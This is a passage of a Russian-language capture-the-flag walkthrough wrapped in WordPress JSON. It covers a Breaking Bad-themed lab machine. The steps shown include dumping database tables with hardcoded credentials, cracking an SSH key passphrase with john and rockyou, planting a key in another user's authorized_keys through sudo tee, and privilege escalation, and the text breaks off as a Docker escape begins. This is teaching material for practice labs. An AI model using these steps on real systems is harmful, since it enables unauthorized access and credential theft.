\u043f\u0430\u0441\u0441\u0444\u0440\u0430\u0437\u0430, \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c.\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 \u043f\u0430\u043f\u043a\u0443 \/var\/www\/html. \u0422\u0430\u043c \u043d\u0430\u0439\u0434\u0435\u043c \u0444\u0430\u0439\u043b\u044b admin.php, api.php, image.php.cat admin.php <?phpsession_start();\/\/ \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445$db = new mysqli(‘db’, ‘root’, ‘root’, ‘walter_fund’);\u0415\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u044b \u0434\u043b\u044f \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445. \u041e\u0434\u043d\u0430\u043a\u043e, \u0434\u0430\u043c\u043f\u0430 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u0437\u0443 \u043d\u0435\u0442.which mysql mariadb mysqlsh mycli sqlite3 php python3                                                                   \/usr\/local\/bin\/php\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435, \u0447\u0442\u043e \u0435\u0441\u0442\u044c php. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e php \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u0436\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0443\u0434\u0435\u043c \u0432\u0441\u0435 \u043f\u0438\u0441\u0430\u0442\u044c \u0440\u0443\u0447\u043a\u0430\u043c\u0438. \u0417\u0430\u0445\u043e\u0434\u0438\u043c \u0432 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0438 \u0432\u044b\u0434\u0438\u0440\u0430\u0435\u043c \u0432\u0441\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435.php -aInteractive shellphp > $db=new mysqli(«db»,»root»,»root»,»walter_fund»);php > $r=$db->query(«show tables»);php > while($row=$r->fetch_row()) print_r($row);Array(    [0] => admins)Array(    [0] => donations)php > $r=$db->query(«select * from admins»);php > while($row=$r->fetch_assoc()) print_r($row);Array(    [id] => 1    [username] => flynn    [password] => junior)\u0414\u0430\u043b\u0435\u0435 \u0432\u044b\u0434\u0438\u0440\u0430\u0435\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 donations.php > $r=$db->query(«select * from donations»);php > while($row=$r->fetch_assoc()) print_r($row);Array(    [id] => 1    [donor_name] => Jesse Pinkman    [amount] => 5000.00    [donation_date] => 2009-10-18)Array(    [id] => 2    [donor_name] => Hank Schrader    [amount] => 1500.00    [donation_date] => 2009-09-18)Array(    [id] => 3    [donor_name] => Skinny Pete    [amount] => 50.50    [donation_date] => 2009-10-20)Array(    [id] => 4    [donor_name] => Gustavo Fring of Los Pollos Hermanos    [amount] => 10000.00    [donation_date] => 2009-10-20)Array(    [id] => 5    [donor_name] => Batcher    [amount] => 30.00    [donation_date] => 2009-10-23)Array(    [id] => 6    [donor_name] => Marie Schrader    [amount] => 500.00    [donation_date] => 2009-10-24)Array(    [id] => 7    [donor_name] => Bogdan Volanitz    [amount] => 100.00    [donation_date] => 2009-10-27)Array(    [id] => 8    [donor_name] => S11pp1n000Jimmy    [amount] => 9999.00    [donation_date] => 2009-10-30)\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 id \u0443\u0436 \u043e\u0447\u0435\u043d\u044c \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0445\u043e\u0436 \u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044c \u043b\u0438\u0431\u043e \u043f\u0430\u0441\u0441\u0444\u0440\u0430\u0437\u0443. \u041d\u0443\u0436\u043d\u043e \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c.borg list .Enter passphrase for key \/home\/den\/backup: saul-back                            Mon, 2025-12-01 12:34:39 [c5a52d964894d0c8716c2244edf422009d436b9f34389d08eb04844b981a79b2]\u041f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0432\u0435\u0440\u043d\u0430. \u0420\u0430\u0441\u043f\u0430\u043a\u0443\u0435\u043c \u0430\u0440\u0445\u0438\u0432.borg extract .::saul-back\u041f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043f\u0430\u043f\u043a\u0430 home\/saul \u0438 \u0437\u0434\u0435\u0441\u044c \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u044b\u0442\u0430\u044f \u043f\u0430\u043f\u043a\u0430 .ssh \u0441 \u043a\u043b\u044e\u0447\u043e\u043c. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 saul.ssh -i id_rsa saul@10.10.10.155** WARNING: connection is not using a post-quantum key exchange algorithm.** This session may be vulnerable to «store now, decrypt later» attacks.** The server may need to be upgraded. See https:\/\/openssh.com\/pq.htmlEnter passphrase for key ‘id_rsa’: \u041d\u043e \u0438 \u0437\u0434\u0435\u0441\u044c \u0432\u0441\u0435 \u043d\u0435 \u0442\u0430\u043a \u043f\u0440\u043e\u0441\u0442\u043e, \u0441\u043d\u043e\u0432\u0430 \u043d\u0443\u0436\u043d\u0430 \u043f\u0430\u0441\u0441\u0444\u0440\u0430\u0437\u0430. \u042f \u0442\u0430\u043a\u0438\u0435 \u043c\u0430\u0448\u0438\u043d\u044b \u0443\u0436\u0435 \u0440\u0435\u0448\u0430\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0445\u044d\u0448 \u0438 \u0431\u0440\u0443\u0442\u0438\u043c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0436\u043e\u043d\u0430.ssh2john id_rsa > hash john hash —wordlist=\/usr\/share\/wordlists\/rockyou.txtUsing default input encoding: UTF-8Loaded 1 password hash (SSH, SSH private key [RSA\/DSA\/EC\/OPENSSH 32\/64])Cost 1 (KDF\/cipher [0=MD5\/AES 1=MD5\/3DES 2=Bcrypt\/AES]) is 2 for all loaded hashesCost 2 (iteration count) is 24 for all loaded hashesWill run 4 OpenMP threadsPress ‘q’ or Ctrl-C to abort, almost any other key for statusilovemike        (id_rsa)     1g 0:00:01:20 DONE (2026-04-27 17:41) 0.01249g\/s 25.58p\/s 25.58c\/s 25.58C\/s harris..lovers1Use the «—show» option to display all of the cracked passwords reliablySession completed. \u041b\u043e\u0433\u0438\u043d\u0438\u043c\u0441\u044f \u0438 \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u043c \u0432\u0442\u043e\u0440\u043e\u0439 \u0444\u043b\u0430\u0433.cat flag2.txt flag_751302c2172ca7e8ac68765f174406e1\u0422\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433\u041e\u0441\u043c\u043e\u0442\u0440\u0438\u043c\u0441\u044f \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438 \u043f\u043e\u0447\u0438\u0442\u0430\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u043a\u0438.Saul ssh\u0418\u0437 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u043a\u0430 \u043d\u0430\u043c\u0438\u043a\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0443 walter, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0433\u0440\u0443\u043f\u043f\u0435 developers, \u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 sudo -l \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442.\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0438\u043d\u043e\u0433\u0434\u0430 \u0431\u044b\u0432\u0430\u044e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043a\u043e\u043f\u0438\u043f\u0430\u0441\u0442\u043e\u043c \u043a\u043b\u044e\u0447\u0435\u0439, \u043b\u0443\u0447\u0448\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043b\u044e\u0447 \u043f\u0440\u044f\u043c\u043e \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435.ssh-keygen -t rsa -N «» -f \/tmp\/walter\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0435\u0433\u043e \u0423\u043e\u043b\u0442\u0435\u0440\u0443cat \/tmp\/walter.pub | sudo -u walter \/usr\/bin\/tee -a \/home\/walter\/.ssh\/authorized_keys\u0418 \u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043b\u043e\u0433\u0438\u043d\u0438\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e.ssh -i \/tmp\/walter walter@localhost\u0423\u0441\u043f\u0435\u0445 \u0438 \u0447\u0438\u0442\u0430\u0435\u043c \u0442\u0440\u0435\u0442\u0438\u0439 \u0444\u043b\u0430\u0433.cat flag3.txt                                  flag_691bf4e515a877ab5227c6a8459e4c7c\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u0439 \u0444\u043b\u0430\u0433\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c\u0441\u044f \u0438 \u043f\u043e\u0447\u0438\u0442\u0430\u0435\u043c \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438.Walter Shell\u0421\u0440\u0430\u0437\u0443 \u0432\u0438\u0434\u0435\u043d \u0444\u0430\u0439\u043b \u0441 SUID \u0431\u0438\u0442\u043e\u043c, \u0430 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0430 \u043d\u0430\u043c\u0438\u043a\u0430\u0435\u0442 \u043d\u0430 \u043b\u0435\u0433\u043a\u0438\u0439 OSINT. \u042f \u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0437\u043e\u043d \u044d\u0442\u043e\u0433\u043e \u0441\u0435\u0440\u0438\u0430\u043b\u0430, \u043d\u043e \u0435\u0434\u0432\u0430 \u043b\u0438 \u0432\u0441\u043f\u043e\u043c\u043d\u044e, \u043a\u0442\u043e \u043a\u043e\u0433\u043e \u0442\u0430\u043c \u0443\u0431\u0438\u0432\u0430\u043b, \u043f\u043e \u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0435\u043c \u0433\u0443\u0433\u043b\u0438\u0442\u044c.OSINT\u0412\u0432\u043e\u0434\u0438\u043c \u0438\u043c\u044f Heisenberg \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0440\u0443\u0442\u0430, \u0447\u0438\u0442\u0430\u0435\u043c \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u044b\u0439 \u0444\u043b\u0430\u0433.cat flag4.txtflag_f17b8e2070286ae16fac5f2333338ad9\u041f\u044f\u0442\u044b\u0439 \u0444\u043b\u0430\u0433 \u0438 \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043c\u044b \u0432\u0437\u044f\u043b\u0438 \u0440\u0443\u0442\u0430, \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440. \u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u044d\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u043f\u0440\u0438\u0432\u0438\u043b\u0438\u0433\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043b\u0438 \u043d\u0435\u0442.ls \/dev\/\u0415\u0441\u043b\u0438 \u0432\u0438\u0434\u0438\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 sda \u0438\u043b\u0438 nvme, \u0442\u043e \u043c\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0431\u0435\u0436\u0430\u043b\u0438.Docker Escape\u041d\u0430 \u0441\u043a\u0440\u0438\u043d\u0435 \u0432\u0438\u0434\u043d\u044b \u0432\u0441\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-483227","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/483227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=483227"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/483227\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=483227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=483227"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=483227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}